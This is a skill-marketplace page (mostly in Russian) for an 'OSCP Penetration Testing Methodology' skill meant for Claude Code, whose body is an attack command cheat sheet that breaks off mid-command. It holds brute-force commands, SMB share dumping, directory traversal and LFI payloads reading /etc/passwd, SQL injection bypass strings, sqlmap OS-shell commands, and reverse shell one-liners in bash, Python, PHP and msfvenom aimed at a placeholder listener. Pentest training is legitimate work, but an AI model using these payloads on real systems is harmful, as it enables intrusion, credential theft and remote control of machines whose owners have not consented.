OSCP Penetration Testing Methodology
БесплатноБез исполняемых скриптовНе проверенThis skill should be used when the user asks to "perform OSCP-style penetration testing", "enumerate network services", "escalate privileges on Windows or…
Об этом скилле
OSCP Penetration Testing Methodology
Purpose
Execute comprehensive penetration testing engagements following OSCP methodology, covering reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation phases across Windows, Linux, and Active Directory environments. This skill provides actionable commands and techniques for each phase of a professional penetration test.
Inputs / Prerequisites
Required Tools
- Kali Linux or equivalent attack platform
- Nmap, Gobuster, Nikto for enumeration
- Metasploit Framework, Impacket suite
- Mimikatz, BloodHound, PowerView for AD attacks
- Hashcat, John the Ripper for password cracking
Environment Requirements
- Network access to target systems
- Proper authorization documentation
- Note-taking application for findings
- File transfer capabilities established
Outputs / Deliverables
Primary Outputs
- Complete enumeration findings
- Exploited system access documentation
- Privilege escalation paths identified
- Lateral movement successful demonstrations
Core Workflow
Phase 1: Port Scanning and Enumeration
Initial Scanning
# Basic scan with version detection
nmap -sC -sV <IP> -v
# Complete scan all ports
nmap -T4 -A -p- <IP> -v
# Vulnerability scanning
sudo nmap -sV -p 443 --script "vuln" <IP>
# PowerShell port scan
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("IP", $_)) "TCP port $_ is open"}
Phase 2: Service Enumeration
FTP Enumeration (Port 21)
# Connect and test anonymous access
ftp <IP>
# Try: anonymous / anonymous
# Nmap scripts
nmap -p21 --script=ftp-anon,ftp-bounce <IP>
# Brute force
hydra -L users.txt -P passwords.txt <IP> ftp
SSH Enumeration (Port 22)
# Connect with password
ssh user@IP
# Connect with key
chmod 600 id_rsa
ssh user@IP -i id_rsa
# Crack encrypted key
ssh2john id_rsa > hash
john --wordlist=rockyou.txt hash
# Brute force
hydra -l user -P passwords.txt <IP> ssh
SMB Enumeration (Port 445)
# NetBIOS scan
sudo nbtscan -r 192.168.50.0/24
# CrackMapExec enumeration
crackmapexec smb <IP> -u user -p pass --shares
crackmapexec smb <IP> -u user -p pass --users
crackmapexec smb <IP> -u user -p pass --all
# SMBclient
smbclient -L //<IP>
smbclient //<IP>/share -U user
# Download all files from share
smbclient //<IP>/share -U user
> mask ""
> recurse ON
> prompt OFF
> mget *
HTTP/HTTPS Enumeration
# Directory discovery
gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/big.txt
dirsearch -u http://<IP> -w wordlist.txt
# Vulnerability scanning
nikto -h <url>
# WordPress
wpscan --url "target" --enumerate vp,u,vt,tt
# Drupal
droopescan scan drupal -u http://site
# API fuzzing
gobuster dir -u http://<IP>:5002 -w big.txt -p pattern
curl -i http://<IP>:5002/users/v1
LDAP Enumeration (Port 389)
# Anonymous bind
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=domain,DC=com"
# Authenticated
ldapsearch -x -H ldap://<IP> -D 'DOMAIN\user' -w 'pass' -b "CN=Users,DC=domain,DC=com"
# windapsearch
python3 windapsearch.py --dc-ip <IP> -u user -p pass --users
python3 windapsearch.py --dc-ip <IP> -u user -p pass --da
SNMP Enumeration (Port 161)
snmpcheck -t <IP> -c public
snmpwalk -c public -v1 -t 10 <IP>
Phase 3: Web Attacks
Directory Traversal
# Linux
http://target/page.php?file=../../../../../etc/passwd
# Windows
http://target/page.php?file=../../../../../Windows/System32/drivers/etc/hosts
# URL encoded
curl http://<IP>/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
Local File Inclusion (LFI)
# Log poisoning
http://<IP>/index.php?page=../../../../../var/log/apache2/access.log
# Inject PHP in User-Agent, then trigger via log
# PHP wrappers
curl "http://<IP>/index.php?page=php://filter/convert.base64-encode/resource=config.php"
curl "http://<IP>/index.php?page=data://text/plain,<?php%20system('id');?>"
SQL Injection
-- Authentication bypass
admin' or '1'='1
' or '1'='1'--
" or "1"="1"--
-- Time-based detection
' AND IF (1=1, sleep(3),'false') --
SQLMap Exploitation
# Test parameter
sqlmap -u http://<IP>/page.php?id=1 -p id
# Dump database
sqlmap -u http://<IP>/page.php?id=1 -p id --dump
# OS shell
sqlmap -r request.txt -p item --os-shell --web-root "/var/www/html"
Phase 4: Exploitation
Reverse Shell Payloads
# Windows executables
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe
# Linux
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
# Python
python -c 'import socket,os,pty;s=socket.socket();s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
# PHP
<?php echo shell_exec('bash -i >& /dev/tcp/<IP>/<PORT> 0>&1');?>
File Transfers
# Windows download
powershell -c Invoke-WebRequest -Uri http://<IP>/file -Outfile C:\temp\file
certutil -urlca
Установить OSCP Penetration Testing Methodology в Claude Code и Claude Desktop
Зарегайся, чтобы установить скилл
Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.
- Открой команду установки в одну строку
- Сохраняй скиллы в синхронизируемую библиотеку
- Уведомления, когда скиллы обновляются
Разрешённые инструменты
Инструменты, которые скиллу разрешено вызывать.
Без ограничений — скилл может использовать любой инструмент.
FAQ
Что делает скилл OSCP Penetration Testing Methodology?
This skill should be used when the user asks to "perform OSCP-style penetration testing", "enumerate network services", "escalate privileges on Windows or Linux", "conduct Active Directory attacks", "transfer files between systems", "crack password hashes", or "execute lateral movement techniques". It provides a comprehensive methodology and command reference for offensive security certification preparation and real-world penetration testing.
Как установить скилл OSCP Penetration Testing Methodology?
Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.
Скилл OSCP Penetration Testing Methodology запускает скрипты?
Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.
Похожие скиллы
theme-factory
Toolkit for styling artifacts with a theme. These artifacts can be slides, docs, reportings, HTML landing pages, etc. There are 10 pre-set themes with…
от Anthropicaccess
Manage Discord channel access — approve pairings, edit allowlists, set DM/group policy. Use when the user asks to pair, approve someone, check who's allowed…
от Anthropicconfigure
Set up the Discord channel — save the bot token and review access policy. Use when the user pastes a Discord bot token, asks to configure Discord, asks "how…
от Anthropicaccess
Manage iMessage channel access — approve pairings, edit allowlists, set DM/group policy. Use when the user asks to pair, approve someone, check who's allowed…
от Anthropic